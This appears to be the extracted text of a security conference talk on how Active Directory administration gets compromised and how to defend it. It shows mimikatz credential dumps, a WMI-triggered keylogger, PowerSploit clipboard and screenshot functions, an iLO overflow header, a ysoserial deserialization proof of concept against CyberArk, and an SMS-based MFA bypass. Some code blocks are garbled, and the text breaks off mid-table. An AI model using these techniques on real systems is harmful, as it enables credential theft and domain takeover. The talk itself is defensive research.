From Workstation to Domain Admin
Why Secure Administration Isn’t Secure & How to Fix It

Sean Metcalf (@Pyrotek3)
sean [@] TrimarcSecurity.com
www.ADSecurity.org
TrimarcSecurity.com
ABOUT

❖ Founder Trimarc (Trimarc.io), a professional services company that helps organizations better secure their Microsoft platform, including the Microsoft Cloud.
❖ Microsoft Certified Master (MCM) Directory Services
❖ Microsoft MVP (2018)
❖ Speaker: Black Hat, Blue Hat, BSides, DEF CON, DerbyCon, Shakacon, Sp4rkCon, Troopers
❖ Security Consultant / Researcher
❖ AD Enthusiast - Own & Operate ADSecurity.org (Microsoft platform security info)
AGENDA

• Current State
• Evolution of Administration
• Exploiting Typical Administration
• Common Methods of Protecting Admins (& bypassing them)
  • MFA
  • Enterprise Password Vaults
  • Admin Forest
• Building the Best Defenses

Note: Some company products are mentioned in this presentation and deployment concerns are noted – these are not new vulnerabilities.
ATTACKERS...

FIND A WAY TO DA
Current State of Security

Many organizations have upgraded security

- Deployed better security tooling with distributed agents
- Event logging agents
- Flow security events to a SIEM
- Vulnerability scanning
- Security software agents

*Most have not changed how Active Directory is managed.*
In the beginning...

There was a workstation
Then we added Desktop Support
Then we deployed agents for Patching
Then we switched to a Management system for software deployment/updates & patching
The Result

1 workstation

30 accounts in the local Administrators group.
50 accounts with local admin via the software management system.
20 accounts with control of the computer via security agent(s).

======

~ 100 accounts with effective admin rights on the workstation

Who has control of your workstation?
The Evolution of Administration
Where We Were

• In the beginning, there were admins everywhere.
• Sometimes, user accounts were Domain Admins.
• Every local Administrator account has the same name & password.
• Some environments had almost as many Domain Admins as users.
Where We Were

This resulted in a target rich environment with multiple paths to exploit.

Traditional methods of administration are trivial to attack and compromise due to admin credentials being available on the workstation.
Where We Were: “Old School Admin Methods”

• Logon to workstation as an admin
  • Credentials in LSASS.

• RunAs on workstation and run standard Microsoft MMC admin tools ("Active Directory Users & Computers“)
  • Credentials in LSASS.

• RDP to Domain Controllers or Admin Servers to manage them
  • Credentials in LSASS on remote server.
minikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 5088494 (00000000:004da4ee)
Session : Interactive from 2
User Name : hansolo
Domain : ADSECLAB
SID : S-1-5-21-1473643419-774954089-2222329127-1107

msv :
* Username : HanSolo
* Domain : ADSECLAB
* LM : 6ce8de51bc4919e01987a75d0b9bd375a
* NTLM : 269c0c63a62b2e062dfd861c9b82818
* SHA1 : 660dd1fe6bb94f321fbbd58bfec19a418922b2bb

tspkg :
* Username : HanSolo
* Domain : ADSECLAB
* Password : Falcon99!

wdigest :
* Username : HanSolo
* Domain : ADSECLAB
* Password : Falcon99!

kerberos :
* Username : HanSolo
* Domain : LAB.ADSECURITY.ORG
* Password : Falcon99!

ssp :

credman :

Authentication Id : 0 ; 5088464 (00000000:004da4d0)
Session : Interactive from 2
User Name : hansolo
Where Are We Now: Newer “Secure" Admin Methods
Where Are We Now: Newer “Secure" Admin Methods

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Where Are We Now: Newer “Secure" Admin Methods

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Exploiting Typical Administration

Microsoft Windows [Version 10.0.16299.547]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\sean>whoami
trimarcresearch\sean
C:\Users\sean>mstsc.exe
C:\Users\sean>
Exploiting Typical Administration
Exploiting Typical Administration

```powershell
PS C:\Windows\system32> # Create WMI Event Filter
$Filter = (\[WMIClass]\"\\\root\subscription:__EventFilter\"\))..CreateInstance()
$Filter.QueryLanguage = "WQL"
$Filter.EventNamespace = "ROOT\wmi"
$Filter.Query = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='mstsc.exe'"

ProcessName='mstsc.exe'

# Establish binding between WMI event filter and consumer
$Binding = (\[WMIClass]\"\\\root\subscription:__FilterToConsumerBinding\"\))..CreateInstance()

'c:\temp\scripts\SCCMHealthCheck.ps1'

Server : HealthCheck'',Filter='\\\root\subscription:__EventFilter.Name="Monitor RDP"'
NamespacePath : root\subscription
ClassName : __FilterToConsumerBinding
IsClass : False
IsInstance : True
IsSingleton : False
```

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Exploiting Typical Administration

```
PS C:\Windows\system32> # Create WMI Event Filter
$Filter = "((WMTCLASS""")\ root\subscription: EventFilter") CreateInstance()

SCCMHealthCheck.ps1 X

1 function Get-Keystrokes {
2    <#
3    .SYNOPSIS
4        Logs keys pressed, time and the active window.
5        PowerSploit Function: Get-Keystrokes
6        Original Authors: Chris Campbell (@obsuresec) and Matthew Graeber (@mattifestation)
7        Revised By: Jesse Davis (@secabstraction)
8        License: BSD 3-Clause
9        Required Dependencies: None
10       Optional Dependencies: None
11    .PARAMETER LogPath
12        Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
13    .PARAMETER Timeout
14        Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
15    .PARAMETER PassThru
16        Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.
17    .LINK
18        http://www.obsuresec.com/
19        http://www.exploit-monday.com/
20        https://github.com/secabstraction
21    #> [CmdletBinding()]
22    Param (]
23      [Parameter(Position = 0)]
24```

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Exploiting Typical Administration

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Exploiting Typical Administration
Exploiting Typical Administration

```
TypedKey" "WindowTitle" "Time"
"Remote Desktop Connection", "8/1/2018 2:08:19 AM"
"t","r","d","c","d","c","l","l","a","b","t","r","i","m","a","r","c","r","e","s","e","a","r","c","h","o","m","<Enter>",
"t","r","l","m","a","r","c","l","a","b","d","a","r","t","h","v","a","d","e","r",
"<Tab>"","<Shift>",
"S","k","y","w","a","l","k","e","r","z","o","l","8","<Shift>"!,
```

TypedKey
Remote Desktop Connection 8/1/2018 2:08:19 AM

trdc11.lab.trimarcresearch.com<Enter>
trimarccllab\darthvader
<Tab>
<Shift>Skyywerlander2018<Shift>!
Protecting Admins with Smartcards

• RDP from user workstation with Admin account using Smartcard
• No password is entered or can be captured.
• Secure, right?
New #mimikatz release "Tiramisu Nutella+Speculoos" - github.com/gentilkiwi/mim...

**SmartCard/Token PIN code** in Windows 10 1607 and old 2012r2 fix.
Discovering Hidden Admin & AD Rights

• Review settings in GPOs linked to Domain Controllers
• The “Default Domain Controllers Policy” GPO (GPO GUID 6AC1786C-016F-11D2-945F-00C04FB984F9) typically has old settings.
• User Rights Assignments in these GPOs are hidden gold.
• These are rarely checked...

PS C:\> Get-ADOrganizationalUnit 'OU=Domain Controllers,DC=trimarcresearch,DC=com'

City   :
Country :
DistinguishedName : OU=Domain Controllers,DC=trimarcresearch,DC=com
LinkedGroupPolicyObjects : {CN={6AC1786C-016F-11D2-945F-00C04FB984F9},CN=Polices,CN=System,DC=trimarcresearch,DC=com}
Access this computer from the network
Add workstations to domain
Adjust memory quotas for a process

Allow log on locally
Allow log on through Terminal Services
Back up files and directories
Bypass traverse checking

Change the system time
Create a pagefile
Debug programs
Enable computer and user accounts to be trusted for delegation
Force shutdown from a remote system
Generate security audits
Increase scheduling priority
Load and unload device drivers
Log on as a batch job
Manage auditing and security log
Modify firmware environment values
Profile single process
Profile system performance
Remove computer from docking station
Replace a process level token
Restore files and directories
Shut down the system
Synchronize directory service data
Take ownership of files or other objects
Allow Log On Locally  On Domain Controllers

**Default Groups:**
- Account Operators
- Administrators
- Backup Operators
- Print Operators
- Server Operators

**Additional Groups:**
- Lab Admins
- Server Tier 3

**Domain Users**

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
What If We Can Gain Remote “Local” Access?
HP ILO Vulnerability CVE-2017-12542

HP released patches for CVE-2017-12542 in August 2017, in iLO 4 firmware version 2.54.

The vulnerability affects all HP iLO 4 servers running firmware version 2.53 and before. Other iLO generations, like iLO 5, iLO 3, and more are not affected.


```
curl -H "Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
```
SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: hpesbhf03844en_us
Version: 1

HPESBHF03844 rev.2 - HPE Integrated Lights-Out 4, 5 (iLO 4, 5), Remote or Local Code Execution

NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.

Release Date: 2018-06-26
Last Updated: 2018-06-30

Potential Security Impact: Local: Code Execution; Remote: Code Execution

Source: Hewlett Packard Enterprise, HPE Product Security Response Team

VULNERABILITY SUMMARY
A security vulnerability in HPE Integrated Lights-Out 4, 5 (iLO 4 prior to v2.60, and iLO 5 prior to v1.30) could be remotely or locally exploited by an Administrative user to allow remote or local code execution.

References: CVE-2018-7078

SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
- HPE Integrated Lights-Out 5 (iLO 5) for HPE Gen10 Servers - Prior to v1.30
- HPE Integrated Lights-Out 4 (iLO 4) - Prior to v2.60
Subverting your server through its BMC: the HPE iLO4 case

Introduction

iLO is the server management solution embedded in almost every HPE servers for more than 10 years. It provides every feature required by a system administrator to remotely manage a server without having to reach it physically. Such features include power management, remote system console, remote CD/DVD image mounting, as well as many monitoring indicators.

We've performed a deep dive security study of HPE iLO4 (known to be used on the family of servers HPE ProLiant Gen8 and ProLiant Gen9 servers) and the results of this study were presented at the REcon conference held in Brussels (February 2 - 4, 2018, see [1]).

A follow-up of our study was presented at the SSTIC conference, held in France (Rennes, June 13 - 15, 2018, see [8]). We focused this talk on firmware backedooring and achieving long-term persistence.

In November 2018, we presented our latest research on HPE iLO4 and iLO5 at ZeroNights conference, held in Saint-Petersburg, Russia (November 20 - 21, 2018, see [11]). This talk was focused on the attack surface exposed to the host operating system and on the new secure boot feature (silicon root of trust) introduced with iLO5.

iLO4 runs on a dedicated ARM processor embedded in the server, and is totally independent from the main processor. It has a dedicated flash chip to hold its firmware, a dedicated RAM chip and a dedicated network interface. On the software side, the operating system is the proprietary RTOS GreenHills Integrity [2].

https://github.com/airbus-seclab/ilo4_toolbox
Results

One critical vulnerability was identified and reported to the HPE PSRT in February 2017, known as CVE-2017-12542 (CVSSv3 base score 9.8 [3]):

- Authentication bypass and remote code execution
- Fixed in iLO4 versions 2.53 (released in May 2017, buggy) and 2.54 [4]

A second critical vulnerability was identified in iLO4 and iLO5. It was reported to the HPE PSRT in April 2018 and is known as CVE-2018-7078 (CVSSv3 base score 7.2 [9], HPE Security Bulletin HPESBHF03844 [10]):

- Remote or local code execution
- Fixed in iLO4 version 2.60 (released in May 2018)
- Fixed in iLO5 version 1.30 (released in June 2018)

Finally a critical vulnerability was identified in the implementation of the secure boot feature of iLO5. It was reported to the HPE PSRT in September 2018 and is known as CVE-2018-7113 (CVSSv3 base score 6.4 [12], HPE Security Bulletin HPESBHF03894 [13]):

- Local Bypass of Security Restrictions
- Fixed in iLO5 version 1.37 (released in October 2018)

https://github.com/airbus-seclab/ilo4_toolbox
Airbus Security Identified iLO Security Issues:

- A new exploitation technique that allows compromise of the host server operating system through DMA.
- Leverage a discovered RCE to exploit an iLO4 feature which allows read-write access to the host memory and inject a payload in the host Linux kernel.
- New vulnerability in the web server to flash a new backdoored firmware.
- The use of the DMA communication channel to execute arbitrary commands on the host system.
- iLO (4/5) CHIF channel interface opens a new attack surface, exposed to the host (even though iLO is set as disabled). Exploitation of CVE-2018-7078 could allow flashing a backdoored firmware from the host through this interface.
- We discovered a logic error (CVE-2018-7113) in the kernel code responsible for the integrity verification of the userland image, which can be exploited to break the chain-of-trust. Related to new secure boot feature introduced with iLO5 and HPE Gen10 server line.
- Provide a Go scanner to discover vulnerable servers running iLO

Sean Metcalf (@PyroTek3) TrimarcSecurity.com

https://github.com/airbus-seclab/ilo4_toolbox
Patch The Firmware on Your HP Servers (and others)
# Allow Log On Locally + RDP Logon = DC Fun!

### Allow Log On Locally
- Account Operators
- Administrators
- Backup Operators
- Print Operators
- Server Operators
- Lab Admins
- Domain Users
- Server Tier 3

### Allow Log On Through Terminal Services
- Administrators
- Server Tier 3

---

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Allow Log On Locally + RDP Logon = DC Fun!

**Allow Log On Locally**

- Account Operators
- Administrators
- Backup Operators
- Print Operators
- Server Operators
- Lab Admins
- Domain Users
- **Server Tier 3**

**Allow Log On Through Terminal Services**

- Administrators
- **Server Tier 3**

---

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Allow Log On Locally + RDP Logon = DC Fun!

PS C:\> Get-NetGroupMember 'Server Tier 3'

<table>
<thead>
<tr>
<th>GroupDomain</th>
<th>trimarcresearch.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>GroupName</td>
<td>Server Tier 3</td>
</tr>
<tr>
<td>MemberDomain</td>
<td>trimarcresearch.com</td>
</tr>
<tr>
<td>MemberName</td>
<td>Eddie</td>
</tr>
<tr>
<td>MemberSID</td>
<td>S-1-5-21-3059099413-3826416028-81522354-1601</td>
</tr>
<tr>
<td>IsGroup</td>
<td>False</td>
</tr>
<tr>
<td>MemberDN</td>
<td>CN=Eddie,OU=Users,OU=Accounts,DC=trimarcresearch,DC=com</td>
</tr>
</tbody>
</table>
Manage Auditing & Security Log

**Default Groups:**
- Administrators
- [Exchange]

**Additional Groups:**
- *Lab Admins*

Anyone with the **Manage auditing and security log** user right can clear the Security log to erase important evidence of unauthorized activity.
## Identifying Admin Restrictions

```powershell
PS C:\> Get-NetGroupMember 'Domain Admins' -Recurse | ` % { get-aduser $_.membersid -prop samaccountname,logonhours,logonworkstations,passwordlastset } | ` select samaccountname,logonhours,logonworkstations,passwordlastset | ` Format-table -auto

<table>
<thead>
<tr>
<th>samaccountname</th>
<th>logonhours</th>
<th>logonworkstations</th>
<th>passwordlastset</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sean</td>
<td></td>
<td></td>
<td>7/8/2018 4:35:24 PM</td>
</tr>
<tr>
<td>lukeskywalker</td>
<td>{0, 0, 0, 0...}</td>
<td>trddc01</td>
<td>5/23/2018 10:29:41 PM</td>
</tr>
<tr>
<td>Administrator</td>
<td></td>
<td></td>
<td>8/2/2018 11:16:12 PM</td>
</tr>
<tr>
<td>TStark</td>
<td>{0, 0, 0, 0...}</td>
<td></td>
<td>5/17/2018 10:56:46 PM</td>
</tr>
<tr>
<td>JonSnow</td>
<td></td>
<td>ADADMINWRK01,ADADMINWRK02,ADADMINWRK03</td>
<td>5/17/2018 10:55:52 PM</td>
</tr>
<tr>
<td>SecScan</td>
<td></td>
<td></td>
<td>5/17/2018 12:15:03 AM</td>
</tr>
<tr>
<td>trimarcadmin</td>
<td>{255, 255, 255, 255...}</td>
<td></td>
<td>8/6/2018 12:07:15 AM</td>
</tr>
</tbody>
</table>
```
What About MFA?

Let’s MFA that RDP
Multi-Factor Authentication
Fun with MFA
Fun with MFA

Login Request
Protected by Duo Security

Trimarc
[Trimarc Research] ADFS

172.271.271.172
Las Vegas, NV, US

10:57:46 AM EDT
July 24, 2018

Login Request
Protected by Duo Security

Trimarc
[Trimarc Research] ADFS

172.271.271.172
Las Vegas, NV, US

10:57:47 AM EDT
July 24, 2018

Sean Metcalf (@PyroTek3) TrimarcSecurity.com

Approve
Deny

Approve
Deny
Fun with MFA
Subverting MFA

What if an attacker could bypass MFA without anyone noticing?

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Subverting MFA

ACME has enabled users to update several attributes through a self-service portal.

• These attributes include:
  • Work phone number
  • Work address
  • Mobile number
  • Org-specific attributes
Subverting MFA

ACME has enabled users to update several attributes through a self-service portal.

• These attributes include:
  • Work phone number
  • Work address
  • Mobile number
  • Org-specific attributes

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Subverting MFA

ACME has enabled users to update several attributes through a self-service portal.

• These attributes include:
  • Work phone number
  • Work address
  • Mobile number
  • Org-specific attributes
Subverting MFA

Choose an authentication method

- **Duo Push** (RECOMMENDED)
  - Send me a Push
- **Call Me**
  - Call Me
- **Passcode**
  - Enter a Passcode

What is this?
Need help?

Powered by Duo Security

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Subverting MFA
Subverting MFA

Extra verification increases your account security when signing into Okta.

- **Text Message Code**
- **Voice Call**
- **Security Question**
Subverting MFA through SMS

**Summary**

- Company uses self-service to enable users to update basic user information attributes.
- Attacker compromises user account/workstation and performs self-service update of Mobile/Cell Phone Number to one the attacker controls.
- Attacker compromises admin user name & password
- Attacker leverages “backdoor” SMS/text message for MFA to use admin credentials.
- Game over.
Subverting MFA

https://www.n00py.io/2018/08/bypassing-duo-two-factor-authentication-fail-open/
This email is confirmation that your request for updating your account with Multi Factor Authentication (MFA) has been received.

Please click on the following link to confirm that you still want MFA enabled and that you are the requester. If you did not submit the request, please contact security@adsecurity.org.

https://mfa.adsecurity.org/request?token=FHRy34t34yhrty245h245yg4G4tg4te4tg34t
Customer MFA Recommendations

• Yes, use MFA!
• Don’t rely on MFA as the primary method to protect admin accounts.
• Use hardware tokens or App & disable SMS (when possible).
• Ensure all MFA users know to report anomalies.
• Research “Fail Closed” configuration on critical systems like password vaults and admin servers.
• Remember that once an attacker has AD Admin credentials, MFA doesn’t really stop them.
• Better secure the MFA on-boarding/updating process.
• Identify potential bypass methods & implement mitigation/detection.
So, does MFA have value?

YES. Please MFA all the things!

(just don’t count on MFA to be a silver bullet for security)
There’s Something About Password Vaults

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Enterprise Password Vault

• Being deployed more broadly to improve administrative security.
• Typically CyberArk or Thycotic SecretServer.
• “Reconciliation” DA account to bring accounts back into compliance/control.
• Password vault maintains AD admin accounts.
• Additional components to augment security like a “Session Manager”.

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Enterprise Password Vault

Password Vault Option #1: Check Out Credential
• Connect to Password Vault & Check Out Password (Copy).
• Paste Password into RDP Logon Window

Workstation → HTTPS → Password Vault

Password Vault → RDP → Admin Server

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
function Get-ClipboardContents {
<#
.SYNOPSIS
Monitors the clipboard on a specified interval for changes to copied text.
PowerSploit Function: Get-ClipboardContents
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
#

$PrevLength = $cb.Text.Length

    } else{$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
    "\n    \n    Get-ClipboardContents shutting down at $TimeStamp \n    \n    Break;
    } Start-Sleep -s $PollInterval
    } Get-ClipboardContents | out-file c:\_2~.tmp

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Attacking Enterprise Password Vault

`Get-ClipboardContents`

- Program Files (x86)
- ProgramData
- Temp
- Users
- Windows
- WindowsAzure
- _1~.tmp
- _2~.tmp

```
File Edit Format View Help
>>> Get-ClipboardContents Starting at 02/08/2018:04:13:36:85
>>> 02/08/2018:04:13:51:86
>>> Skywalker2018!
>>> 02/08/2018:04:14:06:88
>>> OneWithTheForce2018!
```
Attacking Enterprise Password Vault

---

Get-ClipboardContents Starting at 02/08/2018:04:13:36:85 ===
---

02/08/2018:04:13:51:86 ===
Skywalker2018!
---

02/08/2018:04:14:06:88 ===
OneWithTheForce2018!
Attacking Enterprise Password Vault

```powershell
function Get-TimedScreenshot {

    .SYNOPSIS
    Takes screenshots at a regular interval and saves them to disk.

    PowerSploit Function: Get-TimedScreenshot
    Author: Chris Campbell (@obssecure)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

    .DESCRIPTION
    A function that takes screenshots and saves them to a folder.

    .PARAMETER Path
    Specifies the folder path.

    .PARAMETER Interval
    Specifies the interval in seconds between taking screenshots.

    [CmdletBinding()]
    Param([^] param_name)

    $currentPath = Get-CurrentPath
    $interval = 30
    $count = 0

    while($count -lt 10) {
        $shot = New-Screenshot
        $shotPath = Join-Path $currentPath "Shot_${count}.png"
        $shot | Select-Object -Property Path | Select-Object -ExpandProperty Path | Out-File -Path $shotPath
        $count ++
        Start-Sleep -Seconds $interval
    }

    $logPath = Join-Path $currentPath "Log.txt"
    $log = Get-LastLog
    $log | Select-Object -Property Value | ConvertTo-String | Out-File -Path $logPath

    $exportPath = Join-Path $currentPath "Export.xlsx"
    $export = Get-Export
    $export | Select-Object -Property Value | ConvertTo-String | Out-File -Path $exportPath
}
```
Attacking Enterprise Password Vault

Windows Security

Enter your credentials

These credentials will be used to connect to trddc01

darthvader@trimarcresearch.com

Domain: trimarcresearch.com

[Password field]

[Remember me checkbox]

Skywalker2018!

02/08/2018:04:14:06:88

OneWithTheForce2018!

---

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Password Vault Option #2: RDP Proxy

• Password vault as the "jump" system to perform administration with no knowledge of account password.
Enterprise Password Vault

Password Vault Option #2: RDP Proxy

- Password vault as the "jump" system to perform administration with no knowledge of account password.

What account is used to log on here?

Is MFA used?

Who administers this server?

Are network comms limited to the PV

Workstation → HTTPS → Password Vault → RDP → Admin Server
Compromise the User’s Web Browser
Compromise the User’s Web Browser

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Exploit Password Vault Administration

```powershell
PS C:\> get-netgroup 'CyberArk Admins' | Get-NetGroupMember

<table>
<thead>
<tr>
<th>GroupDomain</th>
<th>trimarcresearch.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>GroupName</td>
<td>CyberArk Admins</td>
</tr>
<tr>
<td>MemberDomain</td>
<td>trimarcresearch.com</td>
</tr>
<tr>
<td>MemberName</td>
<td>WCrusher</td>
</tr>
<tr>
<td>MemberSID</td>
<td>S-1-5-21-3059099413-3826416028-81522354-3606</td>
</tr>
<tr>
<td>IsGroup</td>
<td>False</td>
</tr>
<tr>
<td>MemberDN</td>
<td>CN=Wesley Crusher,OU=Users,OU=Accounts,DC=trimarcresearch,DC=com</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>GroupDomain</th>
<th>trimarcresearch.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>GroupName</td>
<td>CyberArk Admins</td>
</tr>
<tr>
<td>MemberDomain</td>
<td>trimarcresearch.com</td>
</tr>
<tr>
<td>MemberName</td>
<td>JoeUser</td>
</tr>
<tr>
<td>MemberSID</td>
<td>S-1-5-21-3059099413-3826416028-81522354-1604</td>
</tr>
<tr>
<td>IsGroup</td>
<td>False</td>
</tr>
<tr>
<td>MemberDN</td>
<td>CN=Joe User,OU=Users,OU=Accounts,DC=trimarcresearch,DC=com</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>GroupDomain</th>
<th>trimarcresearch.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>GroupName</td>
<td>CyberArk Admins</td>
</tr>
<tr>
<td>MemberDomain</td>
<td>trimarcresearch.com</td>
</tr>
<tr>
<td>MemberName</td>
<td>Eddie</td>
</tr>
<tr>
<td>MemberSID</td>
<td>S-1-5-21-3059099413-3826416028-81522354-1601</td>
</tr>
</tbody>
</table>
```

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Password Vaults on the Internet
Password Vaults on the Internet

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Password Vault Config Weaknesses

• Authentication to the PV webserver is typically performed with the admin’s user account.
• Connection to the PV webserver doesn’t always require MFA.
• The PV servers are often administered like any other server.
• Anyone on the network can send traffic to the PV server (usually).
• Sessions aren’t always limited creating an opportunity for an attacker to create a new session.
• Vulnerability in PV can result in total Active Directory compromise.

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
CyberArk RCE Vulnerability (April 2018)

- CVE-2018-9843:
  “The REST API in CyberArk Password Vault Web Access before 9.9.5 and 10.x before 10.1 allows remote attackers to execute arbitrary code via a serialized .NET object in an Authorization HTTP header.”

- Access to this API requires an authentication token in the HTTP authorization header which can be generated by calling the “Logon” API method.

- Token is a base64 encoded serialized .NET object (“CyberArk.Services.Web.SessionIdentifiers“) and consists of 4 string user session attributes.

- The integrity of the serialized data is not protected, so it’s possible to send arbitrary .NET objects to the API in the authorization header.

- By leveraging certain gadgets, such as the ones provided by ysoserial.net, attackers may execute arbitrary code in the context of the web application.

[Link to advisory]
CyberArk RCE Vulnerability
(REDTEAM PENTESTING GMBH)

Proof of Concept

First, a malicious serialized .NET object is created. Here the "TypeConfuseDelegate" gadget of yoserial.net is used to execute the "ping" command:

```
$ yoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "ping 10.0.0.19" > execute-ping.txt

$ cat execute-ping.txt
AAEAAAD/////AQAAAAIAAAQAAAgAAAEiTeXN0ZW0sIFZlc3NhY2U24wLjA6MCwqQ3VsdHVy

ZT1uZXV0cmFsLCBQdWJsaWNLZXIUb2tlbja1NzdhNWM1NjE5MzIzMDEg5BQEAABEAEAV5c3Rl
bS5Db2xsbm90aW9ucy5iZHRtcGUuY29t/TEXN0ZW0uU3Rya2VuYW5nLiB3b3JsZA==

AAcXYmRpc3RnLm9yZmVyLmNvbS50YXJ0bGUuY29t

8ZI3N2E1yzU2MTkzNGUwODI=8XQQAAAAPCQ291bnQI5iQ29tcGFyZXI=8VMvY2lvb3VjaGVyc2Fwcmlt

AAcXYmRpc3RnLm9yZmVyLmNvbS50YXJ0bGUuY29t

U3ItG1ItLiB0cmFuc2hvbGVzaW5lc3NhY2U24wLjA6MCwqQ3VsdHVy

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Enterprise Password Vault Best Practices

• Secure Administration
  • Ensure only admin accounts are members of password vault admin groups.
  • Restrict access to the system and related computers – includes system management, GPOs, etc.

• Secure Authentication
  • All PV authentication should require MFA.
  • AD admins should only connect from an admin system (workstation or server) specific to AD administration.
  • AD admins should only connect with credentials other than regular user or AD admin credentials. We refer to this as a “transition account.”

• Protect like a Domain Controller

• Limit Communication
  • Restrict inbound communication.

• Split out the roles to separate servers when possible (CyberArk)

• Patch Regularly

What about Admin Forest?
Admin Forest = Enhanced Security Administrative Environment (ESAE)
Admin Forest Key Components

• New AD Forest with high security configuration.
• ESAE forest is isolated from the production network with strong network controls (firewalled encrypted communication).
• Production AD Forest has a 1-way trust with the Admin Forest.
• Production AD admin groups are empty, except group for ESAE admin groups.
• Admin groups/accounts in ESAE can’t admin ESAE.
• All systems run the latest workstation & server OS version.
• Auto-patching by ESAE management/patching system.
• Production AD admin accounts in ESAE should not retain full-time Production AD admin group membership and require MFA for authentication.
• ESAE should be carefully monitored for anomalous activity.

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Admin Forest Pros & Cons

Pros
• Effectively isolates Domain Admins and other Active Directory Admins.
• When deployed properly, the Red Forest can be effective in limiting attacker AD privileged access.

Cons
• Expensive to deploy.
• Greatly increases management overhead & cost.
• Duplicate infrastructure.
• Doesn’t fix production AD issues.
• Doesn’t resolve expansive rights over workstations & servers.
• AD admin accounts may not be properly discovered.

What about Production AD privileged Service Accounts?
Admin Forest Discovery

trimarcresearch.com Properties

**Domains trusted by this domain (outgoing trusts):**

<table>
<thead>
<tr>
<th>Domain Name</th>
<th>Trust Type</th>
<th>Transitive</th>
</tr>
</thead>
<tbody>
<tr>
<td>lab.trimarcresearch.com</td>
<td>Child</td>
<td>Yes</td>
</tr>
<tr>
<td>trimarcresearch.com</td>
<td>Forest</td>
<td>Yes</td>
</tr>
</tbody>
</table>

**Domains that trust this domain (incoming trusts):**

<table>
<thead>
<tr>
<th>Domain Name</th>
<th>Trust Type</th>
<th>Transitive</th>
</tr>
</thead>
<tbody>
<tr>
<td>lab.trimarcresearch.com</td>
<td>Child</td>
<td>Yes</td>
</tr>
</tbody>
</table>

trd.priv Properties

**General**

<table>
<thead>
<tr>
<th>This Domain:</th>
<th>trimarcresearch.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>Other Domain:</td>
<td>trd.priv</td>
</tr>
<tr>
<td>Trust type:</td>
<td>Forest</td>
</tr>
</tbody>
</table>

**Direction of trust:**

Outgoing: Users in the specified domain can authenticate in the local domain, but users in the local domain cannot authenticate in the specified domain.

**Transitivity of trust:**

This trust is forest transitive. Users from indirectly trusted domains within the enterprise may authenticate in the trusting enterprise.

To confirm or reset this trust relationship and update its routed name suffixes, click Validate.

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
## Admin Forest Discovery

### Administrators Properties

<table>
<thead>
<tr>
<th>Object</th>
<th>Security</th>
<th>Attribute Editor</th>
</tr>
</thead>
<tbody>
<tr>
<td>General</td>
<td>Members</td>
<td>Member Of</td>
</tr>
</tbody>
</table>

### Members:

<table>
<thead>
<tr>
<th>Name</th>
<th>Active Directory Domain Services Folder</th>
</tr>
</thead>
<tbody>
<tr>
<td>Domain Admins</td>
<td>trimarcresearch.com/Users</td>
</tr>
<tr>
<td>Enterprise Admins</td>
<td>trimarcresearch.com/Users</td>
</tr>
<tr>
<td>TRD AD Admins</td>
<td>TRDPRIV</td>
</tr>
<tr>
<td>trimarcadmin</td>
<td>trimarcresearch.com/Users</td>
</tr>
</tbody>
</table>

Sean Metcalf (@PyroTek3) TrimarcSecurity.com
Admin Forest Discovery Forest Discovery

```powershell
Get-ADTrust -filter {Direction -eq 'Outbound'}
```

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Direction</td>
<td>Outbound</td>
</tr>
<tr>
<td>DisallowTransivity</td>
<td>False</td>
</tr>
<tr>
<td>DistinguishedName</td>
<td>CN=trd.priv,CN=System,DC=trimarcresearch,DC=com</td>
</tr>
<tr>
<td>ForestTransitive</td>
<td>True</td>
</tr>
<tr>
<td>IntraForest</td>
<td>False</td>
</tr>
<tr>
<td>IsTreeParent</td>
<td>False</td>
</tr>
<tr>
<td>IsTreeRoot</td>
<td>False</td>
</tr>
<tr>
<td>Name</td>
<td>trd.priv</td>
</tr>
<tr>
<td>ObjectClass</td>
<td>trustedDomain</td>
</tr>
<tr>
<td>ObjectGUID</td>
<td>8c893b97-d52c-44f5-9ef6-c0d114791ded</td>
</tr>
<tr>
